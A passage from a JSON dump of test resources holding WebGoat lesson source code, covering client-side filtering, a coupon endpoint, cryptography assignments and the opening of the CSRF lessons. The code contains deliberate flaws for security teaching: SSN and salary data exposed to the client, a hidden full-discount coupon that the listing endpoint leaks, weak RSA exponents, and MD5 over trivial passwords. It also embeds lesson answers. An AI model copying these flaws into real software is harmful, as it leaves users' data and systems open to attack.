java.util.List;\nimport java.util.Map;\nimport javax.annotation.PostConstruct;\nimport javax.xml.xpath.XPath;\nimport javax.xml.xpath.XPathConstants;\nimport javax.xml.xpath.XPathExpressionException;\nimport javax.xml.xpath.XPathFactory;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.core.io.ClassPathResource;\nimport org.springframework.util.FileCopyUtils;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.w3c.dom.Node;\nimport org.w3c.dom.NodeList;\nimport org.xml.sax.InputSource;\n\n@RestController\n@Slf4j\npublic class Salaries {\n\n  @Value(\"${webgoat.user.directory}\")\n  private String webGoatHomeDirectory;\n\n  @PostConstruct\n  public void copyFiles() {\n    ClassPathResource classPathResource = new ClassPathResource(\"lessons/employees.xml\");\n    File targetDirectory = new File(webGoatHomeDirectory, \"/ClientSideFiltering\");\n    if (!targetDirectory.exists()) {\n      targetDirectory.mkdir();\n    }\n    try {\n      FileCopyUtils.copy(\n          classPathResource.getInputStream(),\n          new FileOutputStream(new File(targetDirectory, \"employees.xml\")));\n    } catch (IOException e) {\n      throw new RuntimeException(e);\n    }\n  }\n\n  @GetMapping(\"clientSideFiltering/salaries\")\n  @ResponseBody\n  public List<Map<String, Object>> invoke() {\n    NodeList nodes = null;\n    File d = new File(webGoatHomeDirectory, \"ClientSideFiltering/employees.xml\");\n    XPathFactory factory = XPathFactory.newInstance();\n    XPath path = factory.newXPath();\n    int columns = 5;\n    List<Map<String, Object>> json = new ArrayList<>();\n    java.util.Map<String, Object> employeeJson = new HashMap<>();\n\n    try (InputStream is = new FileInputStream(d)) {\n      InputSource inputSource = new InputSource(is);\n\n      StringBuilder sb = new StringBuilder();\n\n      sb.append(\"/Employees/Employee/UserID | \");\n      sb.append(\"/Employees/Employee/FirstName | \");\n      sb.append(\"/Employees/Employee/LastName | \");\n      sb.append(\"/Employees/Employee/SSN | \");\n      sb.append(\"/Employees/Employee/Salary \");\n\n      String expression = sb.toString();\n      nodes = (NodeList) path.evaluate(expression, inputSource, XPathConstants.NODESET);\n      for (int i = 0; i < nodes.getLength(); i++) {\n        if (i % columns == 0) {\n          employeeJson = new HashMap<>();\n          json.add(employeeJson);\n        }\n        Node node = nodes.item(i);\n        employeeJson.put(node.getNodeName(), node.getTextContent());\n      }\n    } catch (XPathExpressionException e) {\n      log.error(\"Unable to parse xml\", e);\n    } catch (IOException e) {\n      log.error(\"Unable to read employees.xml at location: '{}'\", d);\n    }\n    return json;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ShopEndpoint.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.clientsidefiltering;\n\nimport com.google.common.collect.Lists;\nimport java.util.List;\nimport java.util.Optional;\nimport lombok.AllArgsConstructor;\nimport lombok.Getter;\nimport org.springframework.http.MediaType;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * @author nbaars\n * @since 4/6/17.\n */\n@RestController\n@RequestMapping(\"/clientSideFiltering/challenge-store\")\npublic class ShopEndpoint {\n\n  @AllArgsConstructor\n  private class CheckoutCodes {\n\n    @Getter private List<CheckoutCode> codes;\n\n    public Optional<CheckoutCode> get(String code) {\n      return codes.stream().filter(c -> c.getCode().equals(code)).findFirst();\n    }\n  }\n\n  @AllArgsConstructor\n  @Getter\n  private class CheckoutCode {\n    private String code;\n    private int discount;\n  }\n\n  private CheckoutCodes checkoutCodes;\n\n  public ShopEndpoint() {\n    List<CheckoutCode> codes = Lists.newArrayList();\n    codes.add(new CheckoutCode(\"webgoat\", 25));\n    codes.add(new CheckoutCode(\"owasp\", 25));\n    codes.add(new CheckoutCode(\"owasp-webgoat\", 50));\n    this.checkoutCodes = new CheckoutCodes(codes);\n  }\n\n  @GetMapping(value = \"/coupons/{code}\", produces = MediaType.APPLICATION_JSON_VALUE)\n  public CheckoutCode getDiscountCode(@PathVariable String code) {\n    if (ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE.equals(code)) {\n      return new CheckoutCode(ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE, 100);\n    }\n    return checkoutCodes.get(code).orElse(new CheckoutCode(\"no\", 0));\n  }\n\n  @GetMapping(value = \"/coupons\", produces = MediaType.APPLICATION_JSON_VALUE)\n  public CheckoutCodes all() {\n    List<CheckoutCode> all = Lists.newArrayList();\n    all.addAll(this.checkoutCodes.getCodes());\n    all.add(new CheckoutCode(ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE, 100));\n    return new CheckoutCodes(all);\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/cryptography/CryptoUtil.java",
    "content": "package org.owasp.webgoat.lessons.cryptography;\n\nimport java.math.BigInteger;\nimport java.nio.charset.Charset;\nimport java.security.InvalidAlgorithmParameterException;\nimport java.security.KeyFactory;\nimport java.security.KeyPair;\nimport java.security.KeyPairGenerator;\nimport java.security.NoSuchAlgorithmException;\nimport java.security.PrivateKey;\nimport java.security.PublicKey;\nimport java.security.SecureRandom;\nimport java.security.Signature;\nimport java.security.interfaces.RSAPublicKey;\nimport java.security.spec.InvalidKeySpecException;\nimport java.security.spec.PKCS8EncodedKeySpec;\nimport java.security.spec.RSAKeyGenParameterSpec;\nimport java.util.Base64;\nimport javax.xml.bind.DatatypeConverter;\nimport lombok.extern.slf4j.Slf4j;\n\n@Slf4j\npublic class CryptoUtil {\n\n  private static final BigInteger[] FERMAT_PRIMES = {\n    BigInteger.valueOf(3),\n    BigInteger.valueOf(5),\n    BigInteger.valueOf(17),\n    BigInteger.valueOf(257),\n    BigInteger.valueOf(65537)\n  };\n\n  public static KeyPair generateKeyPair()\n      throws NoSuchAlgorithmException, InvalidAlgorithmParameterException {\n    KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance(\"RSA\");\n    RSAKeyGenParameterSpec kpgSpec =\n        new RSAKeyGenParameterSpec(\n            2048, FERMAT_PRIMES[new SecureRandom().nextInt(FERMAT_PRIMES.length)]);\n    keyPairGenerator.initialize(kpgSpec);\n    // keyPairGenerator.initialize(2048);\n    return keyPairGenerator.generateKeyPair();\n  }\n\n  public static String getPrivateKeyInPEM(KeyPair keyPair) {\n    String encodedString = \"-----BEGIN PRIVATE KEY-----\\n\";\n    encodedString =\n        encodedString\n            + new String(\n                Base64.getEncoder().encode(keyPair.getPrivate().getEncoded()),\n                Charset.forName(\"UTF-8\"))\n            + \"\\n\";\n    encodedString = encodedString + \"-----END PRIVATE KEY-----\\n\";\n    return encodedString;\n  }\n\n  public static String signMessage(String message, PrivateKey privateKey) {\n\n    log.debug(\"start signMessage\");\n    String signature = null;\n\n    try {\n      // Initiate signature verification\n      Signature instance = Signature.getInstance(\"SHA256withRSA\");\n      instance.initSign(privateKey);\n      instance.update(message.getBytes(\"UTF-8\"));\n\n      // actual verification against signature\n      signature = new String(Base64.getEncoder().encode(instance.sign()), Charset.forName(\"UTF-8\"));\n\n      log.info(\"signe the signature with result: {}\", signature);\n    } catch (Exception e) {\n      log.error(\"Signature signing failed\", e);\n    }\n\n    log.debug(\"end signMessage\");\n    return signature;\n  }\n\n  public static boolean verifyMessage(\n      String message, String base64EncSignature, PublicKey publicKey) {\n\n    log.debug(\"start verifyMessage\");\n    boolean result = false;\n\n    try {\n\n      base64EncSignature = base64EncSignature.replace(\"\\r\", \"\").replace(\"\\n\", \"\").replace(\" \", \"\");\n      // get raw signature from base64 encrypted string in header\n      byte[] decodedSignature = Base64.getDecoder().decode(base64EncSignature);\n\n      // Initiate signature verification\n      Signature instance = Signature.getInstance(\"SHA256withRSA\");\n      instance.initVerify(publicKey);\n      instance.update(message.getBytes(\"UTF-8\"));\n\n      // actual verification against signature\n      result = instance.verify(decodedSignature);\n\n      log.info(\"Verified the signature with result: {}\", result);\n    } catch (Exception e) {\n      log.error(\"Signature verification failed\", e);\n    }\n\n    log.debug(\"end verifyMessage\");\n    return result;\n  }\n\n  public static boolean verifyAssignment(String modulus, String signature, PublicKey publicKey) {\n\n    /* first check if the signature is correct, i.e. right private key and right hash */\n    boolean result = false;\n\n    if (modulus != null && signature != null) {\n      result = verifyMessage(modulus, signature, publicKey);\n\n      /*\n       * next check if the submitted modulus is the correct modulus of the public key\n       */\n      RSAPublicKey rsaPubKey = (RSAPublicKey) publicKey;\n      if (modulus.length() == 512) {\n        modulus = \"00\".concat(modulus);\n      }\n      result =\n          result\n              && (DatatypeConverter.printHexBinary(rsaPubKey.getModulus().toByteArray())\n                  .equals(modulus.toUpperCase()));\n    }\n    return result;\n  }\n\n  public static PrivateKey getPrivateKeyFromPEM(String privateKeyPem)\n      throws NoSuchAlgorithmException, InvalidKeySpecException {\n    privateKeyPem = privateKeyPem.replace(\"-----BEGIN PRIVATE KEY-----\", \"\");\n    privateKeyPem = privateKeyPem.replace(\"-----END PRIVATE KEY-----\", \"\");\n    privateKeyPem = privateKeyPem.replace(\"\\n\", \"\").replace(\"\\r\", \"\");\n\n    byte[] decoded = Base64.getDecoder().decode(privateKeyPem);\n\n    PKCS8EncodedKeySpec spec = new PKCS8EncodedKeySpec(decoded);\n    KeyFactory kf = KeyFactory.getInstance(\"RSA\");\n    return kf.generatePrivate(spec);\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/cryptography/Cryptography.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.cryptography;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n@Component\npublic class Cryptography extends Lesson {\n  @Override\n  public Category getDefaultCategory() {\n    return Category.A2;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"6.crypto.title\"; // first lesson in general\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/cryptography/EncodingAssignment.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.cryptography;\n\nimport java.util.Base64;\nimport java.util.Random;\nimport javax.servlet.http.HttpServletRequest;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.http.MediaType;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\npublic class EncodingAssignment extends AssignmentEndpoint {\n\n  public static String getBasicAuth(String username, String password) {\n    return Base64.getEncoder().encodeToString(username.concat(\":\").concat(password).getBytes());\n  }\n\n  @GetMapping(path = \"/crypto/encoding/basic\", produces = MediaType.TEXT_HTML_VALUE)\n  @ResponseBody\n  public String getBasicAuth(HttpServletRequest request) {\n\n    String basicAuth = (String) request.getSession().getAttribute(\"basicAuth\");\n    String username = request.getUserPrincipal().getName();\n    if (basicAuth == null) {\n      String password =\n          HashingAssignment.SECRETS[new Random().nextInt(HashingAssignment.SECRETS.length)];\n      basicAuth = getBasicAuth(username, password);\n      request.getSession().setAttribute(\"basicAuth\", basicAuth);\n    }\n    return \"Authorization: Basic \".concat(basicAuth);\n  }\n\n  @PostMapping(\"/crypto/encoding/basic-auth\")\n  @ResponseBody\n  public AttackResult completed(\n      HttpServletRequest request,\n      @RequestParam String answer_user,\n      @RequestParam String answer_pwd) {\n    String basicAuth = (String) request.getSession().getAttribute(\"basicAuth\");\n    if (basicAuth != null\n        && answer_user != null\n        && answer_pwd != null\n        && basicAuth.equals(getBasicAuth(answer_user, answer_pwd))) {\n      return success(this).feedback(\"crypto-encoding.success\").build();\n    } else {\n      return failed(this).feedback(\"crypto-encoding.empty\").build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/cryptography/HashingAssignment.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.cryptography;\n\nimport java.security.MessageDigest;\nimport java.security.NoSuchAlgorithmException;\nimport java.util.Random;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.xml.bind.DatatypeConverter;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.http.MediaType;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints({\"crypto-hashing.hints.1\", \"crypto-hashing.hints.2\"})\npublic class HashingAssignment extends AssignmentEndpoint {\n\n  public static final String[] SECRETS = {\"secret\", \"admin\", \"password\", \"123456\", \"passw0rd\"};\n\n  @RequestMapping(path = \"/crypto/hashing/md5\", produces = MediaType.TEXT_HTML_VALUE)\n  @ResponseBody\n  public String getMd5(HttpServletRequest request) throws NoSuchAlgorithmException {\n\n    String md5Hash = (String) request.getSession().getAttribute(\"md5Hash\");\n    if (md5Hash == null) {\n\n      String secret = SECRETS[new Random().nextInt(SECRETS.length)];\n\n      MessageDigest md = MessageDigest.getInstance(\"MD5\");\n      md.update(secret.getBytes());\n      byte[] digest = md.digest();\n      md5Hash = DatatypeConverter.printHexBinary(digest).toUpperCase();\n      request.getSession().setAttribute(\"md5Hash\", md5Hash);\n      request.getSession().setAttribute(\"md5Secret\", secret);\n    }\n    return md5Hash;\n  }\n\n  @RequestMapping(path = \"/crypto/hashing/sha256\", produces = MediaType.TEXT_HTML_VALUE)\n  @ResponseBody\n  public String getSha256(HttpServletRequest request) throws NoSuchAlgorithmException {\n\n    String sha256 = (String) request.getSession().getAttribute(\"sha256\");\n    if (sha256 == null) {\n      String secret = SECRETS[new Random().nextInt(SECRETS.length)];\n      sha256 = getHash(secret, \"SHA-256\");\n      request.getSession().setAttribute(\"sha256Hash\", sha256);\n      request.getSession().setAttribute(\"sha256Secret\", secret);\n    }\n    return sha256;\n  }\n\n  @PostMapping(\"/crypto/hashing\")\n  @ResponseBody\n  public AttackResult completed(\n      HttpServletRequest request,\n      @RequestParam String answer_pwd1,\n      @RequestParam String answer_pwd2) {\n\n    String md5Secret = (String) request.getSession().getAttribute(\"md5Secret\");\n    String sha256Secret = (String) request.getSession().getAttribute(\"sha256Secret\");\n\n    if (answer_pwd1 != null && answer_pwd2 != null) {\n      if (answer_pwd1.equals(md5Secret) && answer_pwd2.equals(sha256Secret)) {\n        return success(this).feedback(\"crypto-hashing.success\").build();\n      } else if (answer_pwd1.equals(md5Secret) || answer_pwd2.equals(sha256Secret)) {\n        return failed(this).feedback(\"crypto-hashing.oneok\").build();\n      }\n    }\n    return failed(this).feedback(\"crypto-hashing.empty\").build();\n  }\n\n  public static String getHash(String secret, String algorithm) throws NoSuchAlgorithmException {\n    MessageDigest md = MessageDigest.getInstance(algorithm);\n    md.update(secret.getBytes());\n    byte[] digest = md.digest();\n    return DatatypeConverter.printHexBinary(digest).toUpperCase();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/cryptography/SecureDefaultsAssignment.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.cryptography;\n\nimport java.security.NoSuchAlgorithmException;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints({\n  \"crypto-secure-defaults.hints.1\",\n  \"crypto-secure-defaults.hints.2\",\n  \"crypto-secure-defaults.hints.3\"\n})\npublic class SecureDefaultsAssignment extends AssignmentEndpoint {\n\n  @PostMapping(\"/crypto/secure/defaults\")\n  @ResponseBody\n  public AttackResult completed(\n      @RequestParam String secretFileName, @RequestParam String secretText)\n      throws NoSuchAlgorithmException {\n    if (secretFileName != null && secretFileName.equals(\"default_secret\")) {\n      if (secretText != null\n          && HashingAssignment.getHash(secretText, \"SHA-256\")\n              .equalsIgnoreCase(\n                  \"34de66e5caf2cb69ff2bebdc1f3091ecf6296852446c718e38ebfa60e4aa75d2\")) {\n        return success(this).feedback(\"crypto-secure-defaults.success\").build();\n      } else {\n        return failed(this).feedback(\"crypto-secure-defaults.messagenotok\").build();\n      }\n    }\n    return failed(this).feedback(\"crypto-secure-defaults.notok\").build();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/cryptography/SigningAssignment.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.cryptography;\n\nimport java.security.InvalidAlgorithmParameterException;\nimport java.security.KeyPair;\nimport java.security.NoSuchAlgorithmException;\nimport java.security.interfaces.RSAPublicKey;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.xml.bind.DatatypeConverter;\nimport lombok.extern.slf4j.Slf4j;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.http.MediaType;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints({\n  \"crypto-signing.hints.1\",\n  \"crypto-signing.hints.2\",\n  \"crypto-signing.hints.3\",\n  \"crypto-signing.hints.4\"\n})\n@Slf4j\npublic class SigningAssignment extends AssignmentEndpoint {\n\n  @RequestMapping(path = \"/crypto/signing/getprivate\", produces = MediaType.TEXT_HTML_VALUE)\n  @ResponseBody\n  public String getPrivateKey(HttpServletRequest request)\n      throws NoSuchAlgorithmException, InvalidAlgorithmParameterException {\n\n    String privateKey = (String) request.getSession().getAttribute(\"privateKeyString\");\n    if (privateKey == null) {\n      KeyPair keyPair = CryptoUtil.generateKeyPair();\n      privateKey = CryptoUtil.getPrivateKeyInPEM(keyPair);\n      request.getSession().setAttribute(\"privateKeyString\", privateKey);\n      request.getSession().setAttribute(\"keyPair\", keyPair);\n    }\n    return privateKey;\n  }\n\n  @PostMapping(\"/crypto/signing/verify\")\n  @ResponseBody\n  public AttackResult completed(\n      HttpServletRequest request, @RequestParam String modulus, @RequestParam String signature) {\n\n    String tempModulus =\n        modulus; /* used to validate the modulus of the public key but might need to be corrected */\n    KeyPair keyPair = (KeyPair) request.getSession().getAttribute(\"keyPair\");\n    RSAPublicKey rsaPubKey = (RSAPublicKey) keyPair.getPublic();\n    if (tempModulus.length() == 512) {\n      tempModulus = \"00\".concat(tempModulus);\n    }\n    if (!DatatypeConverter.printHexBinary(rsaPubKey.getModulus().toByteArray())\n        .equals(tempModulus.toUpperCase())) {\n      log.warn(\"modulus {} incorrect\", modulus);\n      return failed(this).feedback(\"crypto-signing.modulusnotok\").build();\n    }\n    /* orginal modulus must be used otherwise the signature would be invalid */\n    if (CryptoUtil.verifyMessage(modulus, signature, keyPair.getPublic())) {\n      return success(this).feedback(\"crypto-signing.success\").build();\n    } else {\n      log.warn(\"signature incorrect\");\n      return failed(this).feedback(\"crypto-signing.notok\").build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/cryptography/XOREncodingAssignment.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.cryptography;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints({\"crypto-encoding-xor.hints.1\"})\npublic class XOREncodingAssignment extends AssignmentEndpoint {\n\n  @PostMapping(\"/crypto/encoding/xor\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String answer_pwd1) {\n    if (answer_pwd1 != null && answer_pwd1.equals(\"databasepassword\")) {\n      return success(this).feedback(\"crypto-encoding-xor.success\").build();\n    }\n    return failed(this).feedback(\"crypto-encoding-xor.empty\").build();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/csrf/CSRF.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.csrf;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n/** Created by jason on 9/29/17. */\n@Component\npublic class CSRF extends Lesson {\n  @Override\n  public Category getDefaultCategory() {\n    return Category.A10;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"csrf.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFConfirmFlag1.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.csrf;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.container.session.UserSessionData;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/** Created by jason on 9/29/17. */\n@RestController\n@AssignmentHints({\"csrf-get.hint1\", \"csrf-get.hint2\", \"csrf-get.hint3\", \"csrf-get.hint4\"})\npublic class CSRFConfirmFlag1 extends AssignmentEndpoint {\n\n  @Autowired UserSessionData userSessionData;\n\n  @PostMapping(\n      path = \"/csrf/confirm-flag-1\",\n      produces = {\"application/json\"})\n  @ResponseBody\n  public AttackResult completed(String confirmFlagVal) {\n    Object 